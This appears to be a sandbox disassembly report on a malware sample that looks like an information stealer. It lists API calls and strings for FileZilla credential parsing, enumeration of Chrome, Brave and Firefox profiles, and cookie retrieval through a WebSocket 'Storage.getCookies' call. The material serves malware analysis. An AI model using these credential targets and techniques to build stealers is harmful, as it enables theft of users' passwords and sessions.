lstrcatA.KERNEL32(00000000,00000000), ref: 00581981
lstrlenA.KERNEL32(005B1D5C), ref: 0058198C
lstrcpy.KERNEL32(00000000,00000000), ref: 005819AC
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 005819B8
lstrcpy.KERNEL32(00000000,00000000), ref: 005819DE
lstrcatA.KERNEL32(00000000,00000000), ref: 005819E9
lstrcpy.KERNEL32(00000000,00000000), ref: 00581A11
FindFirstFileA.KERNEL32(00000000,?), ref: 00581A45
StrCmpCA.SHLWAPI(?,005B1D68), ref: 00581A70
StrCmpCA.SHLWAPI(?,005B1D6C), ref: 00581A8A
lstrcpy.KERNEL32(00000000,005AD014), ref: 00581AC4
lstrcpy.KERNEL32(00000000,?), ref: 00581AFB
lstrcatA.KERNEL32(00000000,00000000), ref: 00581B03
lstrlenA.KERNEL32(005B1D5C), ref: 00581B0E
lstrcpy.KERNEL32(00000000,00000000), ref: 00581B31
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581B3D
lstrcpy.KERNEL32(00000000,00000000), ref: 00581B69
lstrcatA.KERNEL32(00000000,00000000), ref: 00581B74
lstrlenA.KERNEL32(005B1D5C), ref: 00581B7F
lstrcpy.KERNEL32(00000000,00000000), ref: 00581BA2
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581BAE
lstrlenA.KERNEL32(?), ref: 00581BBB
lstrcpy.KERNEL32(00000000,00000000), ref: 00581BDB
lstrcatA.KERNEL32(00000000,?), ref: 00581BE9
lstrlenA.KERNEL32(005B1D5C), ref: 00581BF4
lstrcpy.KERNEL32(00000000,?), ref: 00581C14
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581C20
lstrcpy.KERNEL32(00000000,00000000), ref: 00581C46
lstrcatA.KERNEL32(00000000,00000000), ref: 00581C51
lstrcpy.KERNEL32(00000000,00000000), ref: 00581C7D
lstrcpy.KERNEL32(00000000,00000000), ref: 00581CE0
lstrcatA.KERNEL32(00000000,00000000), ref: 00581CEB
lstrlenA.KERNEL32(005B1D5C), ref: 00581CF6
lstrcpy.KERNEL32(00000000,00000000), ref: 00581D19
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581D25
lstrcpy.KERNEL32(00000000,00000000), ref: 00581D4B
lstrcatA.KERNEL32(00000000,00000000), ref: 00581D56
lstrlenA.KERNEL32(005B1D5C), ref: 00581D61
lstrcpy.KERNEL32(00000000,?), ref: 00581D81
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581D8D
lstrlenA.KERNEL32(?), ref: 00581D9A
lstrcpy.KERNEL32(00000000,00000000), ref: 00581DBA
lstrcatA.KERNEL32(00000000,?), ref: 00581DC8
lstrcpy.KERNEL32(00000000,00000000), ref: 00581DF4
lstrcpy.KERNEL32(00000000,00000000), ref: 00581E3E
GetFileAttributesA.KERNEL32(00000000), ref: 00581E45
lstrcpy.KERNEL32(00000000,005AD014), ref: 00581E9F
lstrlenA.KERNEL32(011DD718), ref: 00581EAE
lstrcpy.KERNEL32(00000000,?), ref: 00581EDB
lstrcatA.KERNEL32(00000000,?), ref: 00581EE3
lstrlenA.KERNEL32(005B1D5C), ref: 00581EEE
lstrcpy.KERNEL32(00000000,00000000), ref: 00581F0E
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581F1A
lstrcpy.KERNEL32(00000000,?), ref: 00581F42
lstrcatA.KERNEL32(00000000,00000000), ref: 00581F4D
lstrlenA.KERNEL32(005B1D5C), ref: 00581F58
lstrcpy.KERNEL32(00000000,00000000), ref: 00581F75
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581F81

Strings

\*.*, xrefs: 0058186C, 00581894

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$AttributesFindFirstFolderPath
String ID: \*.*
API String ID: 4127656590-1173974218
Opcode ID: f3bb5598aa8ba644ecee07b5f727f80d6d81c48a32dc7cbfe9387540e3617f51
Instruction ID: a78c65b5ce541e2fdcdab058e6fb6344305a557fcfa87d96717fb12c06a82c02
Opcode Fuzzy Hash: f3bb5598aa8ba644ecee07b5f727f80d6d81c48a32dc7cbfe9387540e3617f51
Instruction Fuzzy Hash: C2922B3190161A9BCB21BFA8CD8DAAE7FB9BF44700F044164FE15B7261DB349D42CBA5

Function 00596DE0 Relevance: 163.5, APIs: 83, Strings: 10, Instructions: 752stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 00596E15
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 00596E48
lstrcpy.KERNEL32(00000000,00000000), ref: 00596E82
lstrcpy.KERNEL32(00000000,00000000), ref: 00596EA9
lstrcatA.KERNEL32(00000000,00000000), ref: 00596EB4
lstrcpy.KERNEL32(00000000,00000000), ref: 00596EDD
lstrlenA.KERNEL32(\AppData\Roaming\FileZilla\recentservers.xml), ref: 00596EF7
lstrcpy.KERNEL32(00000000,00000000), ref: 00596F19
lstrcatA.KERNEL32(00000000,\AppData\Roaming\FileZilla\recentservers.xml), ref: 00596F25
lstrcpy.KERNEL32(00000000,00000000), ref: 00596F50
lstrcpy.KERNEL32(00000000,00000000), ref: 00596F80
LocalAlloc.KERNEL32(00000040,?), ref: 00596FB5
strtok_s.MSVCRT ref: 00596FE2
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059701D
lstrcpy.KERNEL32(00000000,005AD014), ref: 0059704D

Strings

browser: FileZilla, xrefs: 00597439
<User>, xrefs: 005971E4
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00596EF2, 00596F1F
<Port>, xrefs: 0059715C
url: , xrefs: 00597457
<Host>, xrefs: 005970D4
profile: null, xrefs: 00597448
<Pass encoding="base64">, xrefs: 0059726C
password: , xrefs: 005974C9
login: , xrefs: 0059749D

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AllocFolderLocalPathlstrlenstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 922491270-555421843
Opcode ID: 4ca86e019144fdcf6aa5a422380141dcd218ea77aeba2fec25248c650aab1cab
Instruction ID: cb10094f7904c434c065622065e1e0004d5733dc6915f4cba2dedd3ed4a76416
Opcode Fuzzy Hash: 4ca86e019144fdcf6aa5a422380141dcd218ea77aeba2fec25248c650aab1cab
Instruction Fuzzy Hash: 09427C31A1520AABCF10BBB4DC8DBAE7FB9BF48700F044555FA15A7251EB38D905CBA0

Function 00586000 Relevance: 128.6, APIs: 68, Strings: 5, Instructions: 817stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0058602F
lstrcpy.KERNEL32(00000000,005AD014), ref: 00586082
lstrcpy.KERNEL32(00000000,005AD014), ref: 005860B5
lstrcpy.KERNEL32(00000000,005AD014), ref: 005860E5
lstrcpy.KERNEL32(00000000,005AD014), ref: 00586120
lstrcpy.KERNEL32(00000000,005AD014), ref: 00586153
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00586163

Strings

LP[, xrefs: 00586601
LP[, xrefs: 0058656B
", xrefs: 005865C7, 005866B5
------, xrefs: 00586289, 005862B6, 0058652E, 0058661F
LP[, xrefs: 00586659

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------$LP[$LP[$LP[
API String ID: 2041821634-3984446599
Opcode ID: 450cebced1b0423e9a11ee5cec1ff940a513d6a0ddbf3ac8043138a9e549b9f1
Instruction ID: 5c7d15c9951dce199bc831d3a5a6c7d0a74e85b2d22e8c202125f15b2262b792
Opcode Fuzzy Hash: 450cebced1b0423e9a11ee5cec1ff940a513d6a0ddbf3ac8043138a9e549b9f1
Instruction Fuzzy Hash: A252193190021A9BDB11BBA4DC4DBAE7FB9BF84700F148564FE15B7251DB38ED428BA4

Function 00584B80 Relevance: 116.3, APIs: 61, Strings: 5, Instructions: 807stringnetworkCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00584BAF
lstrcpy.KERNEL32(00000000,005AD014), ref: 00584C02
lstrcpy.KERNEL32(00000000,005AD014), ref: 00584C35
lstrcpy.KERNEL32(00000000,005AD014), ref: 00584C65
lstrcpy.KERNEL32(00000000,005AD014), ref: 00584CA3
lstrcpy.KERNEL32(00000000,005AD014), ref: 00584CD6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00584CE6

Strings

", xrefs: 00585154, 00585242
------, xrefs: 00584E0C, 00584E39, 005850BB, 005851AC
LP[, xrefs: 0058518E
LP[, xrefs: 005850F8
LP[, xrefs: 005851E6

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: "$------$LP[$LP[$LP[
API String ID: 2041821634-3984446599
Opcode ID: f9f4ebd84d4dab02c72119198138edcb2e6397d9eaf6bee4a25a4f8ac0359886
Instruction ID: 77fcb183299d336ecfdc7d4e3c6443f57669a6c3100ee833a5300c09a09878a2
Opcode Fuzzy Hash: f9f4ebd84d4dab02c72119198138edcb2e6397d9eaf6bee4a25a4f8ac0359886
Instruction Fuzzy Hash: 4652083190161A9BDB21BBA4CC49BAE7FB9BF84700F154564FE05B7251EB34ED42CBA0

Function 0058DD70 Relevance: 94.0, APIs: 48, Strings: 5, Instructions: 1264stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058DDC3
lstrcpy.KERNEL32(00000000,?), ref: 0058DE0E
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058DE4F
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058DE7F
FindFirstFileA.KERNEL32(?,?), ref: 0058DE90

Strings

Preferences, xrefs: 0058E174
Google Chrome, xrefs: 0058E7A8
Brave, xrefs: 0058E15D
hR[, xrefs: 0058DDD7
\Brave\Preferences, xrefs: 0058E29C

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindFirst
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences$hR[
API String ID: 157892242-416749779
Opcode ID: 6d8b3deffdf651d074691cd08d8a13036228727fe5fda255715bfdde757775fb
Instruction ID: 2ffeb97f61b839e9bc4fdd6ba81caa7301abb36a30a272e78cc470b3bb4fdeb8
Opcode Fuzzy Hash: 6d8b3deffdf651d074691cd08d8a13036228727fe5fda255715bfdde757775fb
Instruction Fuzzy Hash: F0B23F71A0121A9FCB24EF64C849B9A7FF4BF44714F1985A9ED09BB261DB34EC41CB90

Function 00594EC0 Relevance: 79.8, APIs: 44, Strings: 1, Instructions: 1096stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 00594F02
lstrcpy.KERNEL32(00000000,00000000), ref: 00594F2B
lstrcatA.KERNEL32(00000000,00000000), ref: 00594F39
lstrlenA.KERNEL32(005B5268), ref: 00594F44
lstrcpy.KERNEL32(00000000,00000000), ref: 00594F61
lstrcatA.KERNEL32(00000000,005B5268), ref: 00594F6D
lstrcpy.KERNEL32(00000000,00000000), ref: 00594F9B
FindFirstFileA.KERNEL32(00000000,?), ref: 00594FB5

Strings

prefs.js, xrefs: 005951A1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: prefs.js
API String ID: 2567437900-3783873740
Opcode ID: d3ea983c300c09c80711a3aa4941e6458b5b2c4a486493766c7dc24285ab972a
Instruction ID: cd69cb329eeae599a5aef7b0631cea8a3a944ce040a7bde24600f231139a0d93
Opcode Fuzzy Hash: d3ea983c300c09c80711a3aa4941e6458b5b2c4a486493766c7dc24285ab972a
Instruction Fuzzy Hash: 7D924B30A017068FDF25DF29C988B2ABBE5BF44714F18C1ADE9099B2A1E735DC52CB44

Function 005A48D0 Relevance: 76.4, APIs: 33, Strings: 10, Instructions: 1120stringnetworkCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 005A48FE
strlen.MSVCRT ref: 005A4928

Part of subcall function 005889B0: std::_Xinvalid_argument.LIBCPMT ref: 005889C6

strlen.MSVCRT ref: 005A496D
memcmp.MSVCRT(?,ws://,?), ref: 005A49A3

Part of subcall function 005889B0: std::_Xinvalid_argument.LIBCPMT ref: 005889FD
Part of subcall function 005889B0: memcpy.MSVCRT(?,00000000,?,00000000,?,?,00588800,?,00000000,005877D7), ref: 00588A5B

Part of subcall function 005A58B0: memmove.MSVCRT(?,?,?,00000000), ref: 005A58F7

WSAStartup.WS2_32(00000202,?), ref: 005A4C45
strlen.MSVCRT ref: 005A4C67

Strings

{"id":1,"method":"Storage.getCookies"}, xrefs: 005A5023
`U[, xrefs: 005A4933
`U[, xrefs: 005A5120, 005A515A
:, xrefs: 005A4B22
Sec-WebSocket-Version: 13, xrefs: 005A4F48
HTTP/1.1Host: , xrefs: 005A4EE2
dR[, xrefs: 005A4F03
`U[, xrefs: 005A57FC, 005A4E46, 005A4FE0, 005A55A0, 005A51AE, 005A4D20, 005A4C53
ws://, xrefs: 005A4968, 005A499D
Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 005A4F24

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: strlen$Xinvalid_argumentstd::_$Startupmemcmpmemcpymemmove
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $:$`U[$`U[$`U[$dR[$ws://${"id":1,"method":"Storage.getCookies"}
API String ID: 938782968-2575420267
Opcode ID: b4389da50fc75c4b5cfef6e474cf06c553f814656292cd12f3379c64bab96d1b
Instruction ID: dbb2f784231e8307f9e774782b935f259c81fb977daedda3e9bd9f8b82983684
Opcode Fuzzy Hash: b4389da50fc75c4b5cfef6e474cf06c553f814656292cd12f3379c64bab96d1b
Instruction Fuzzy Hash: 44A25871D012599FDF20DBA8C844BEDBBB5FF89300F1481AAD509A7241EB755E85CFA0

Function 00584980 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 115
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584994
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0058499B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849A2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849A9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849B0
GetProcessHeap.KERNEL32(00000000,?), ref: 005849BB
RtlAllocateHeap.NTDLL(00000000), ref: 005849C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849D9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849E0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849E7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849EE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 005849F9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A00
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A07
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A0E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A15
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A2B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A32
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A39
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A40
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A47
strlen.MSVCRT ref: 00584A4F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A73
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A7A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A81
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A88
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A8F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584A9F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584AA6
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584AAD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584AB4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00584ABB
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 00584AD0

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0058498F, 00584996, 0058499D, 005849A4, 005849AB, 005849CA, 005849D4, 005849DB, 005849E2, 005849E9, 005849F0, 005849FB, 00584A02, 00584A09, 00584A10, 00584A26, 00584A2D, 00584A34, 00584A3B, 00584A42, 00584A63, 00584A75, 00584A7C, 00584A83, 00584A8A, 00584A9A, 00584AA1, 00584AA8, 00584AAF, 00584AB6

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-3329630956
Opcode ID: 854f5071c20a8f8efb22ba8c7dcafc4cac515681a44d077290a59f440f5fbbb8
Instruction ID: b64d4fe2add7380986ebc6dceec38bdd8b1cdf0487184f1c4482e86f9e1e0d59
Opcode Fuzzy Hash: 854f5071c20a8f8efb22ba8c7dcafc4cac515681a44d077290a59f440f5fbbb8
Instruction Fuzzy Hash: A731C121F8032D769E386BAE5C4A9FE7E75FF85B60B224052B518573C2C9E07505CEE2

